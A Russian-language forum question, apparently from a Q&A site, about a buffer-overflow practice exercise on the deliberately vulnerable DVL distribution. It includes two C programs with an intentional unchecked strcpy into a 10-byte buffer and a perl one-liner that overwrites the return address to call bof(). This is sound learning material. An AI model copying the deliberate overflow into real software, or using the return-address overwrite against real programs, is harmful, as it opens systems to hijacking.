Странное поведение при переполнении буфера

Я установил дистрибутив Linux с именем DVL (чертовски уязвимый Linux) и тренируюсь с эксплойтами переполнения буфера. Я написал две практически идентичные программы, уязвимые для bof:

//bof_n.c
#include <stdio.h>
void bof() {
  printf("BOF");
}

void foo(char* argv) {
  char buf[10];
  strcpy(buf, argv);
  prinf("foo");
}

int main(int argc, char* argv[]) {
  if (argc >= 1) {
    foo(argv[1]);
  }
  return 0;
}

и

//bof.c
#include <stdio.h>
void bof() {
  printf("BOF!\n");//this is the only change
}

void foo(char* argv) {
  char buf[10];
  strcpy(buf, argv);
  prinf("foo");
}

int main(int argc, char* argv[]) {
  if (argc >= 1) {
    foo(argv[1]);
  }
  return 0;
}

После этого я их скомпилировал и в обоих случаях получил адрес функции bof() (например, objdump -d bof.o | grep bof). Назовем такой адрес ADDR размером 4 байта.

Я также обнаружил, что если я записываю 32 байта в переменную buf, регистр EIP полностью перезаписывается (я не могу скопировать сюда вывод gdb, так как он находится на виртуальной машине).

Теперь, если я сделаю:

./bof `perl -e 'print "\x90"x28 . "ADDR"'`

Я получил:

fooBOF!
Segmentation fault

Вместо этого, если я попробую тот же подход, но с использованием bof_n, я получу только сообщение «Ошибка сегментации». Поэтому я попытался увеличить количество раз, когда значение ADDR повторяется, и обнаружил, что если оно повторяется не менее 350 раз, я получаю желаемый результат. Но вместо точного вывода выше я получаю длинный список сообщений «BOF» одно за другим. Я пытался получить только одно сообщение "BOF", но, видимо, не могу этого сделать (получил или ноль, или их длинный список). Почему это происходит? Любая идея?

Я использую DVL с gcc 3.4.6.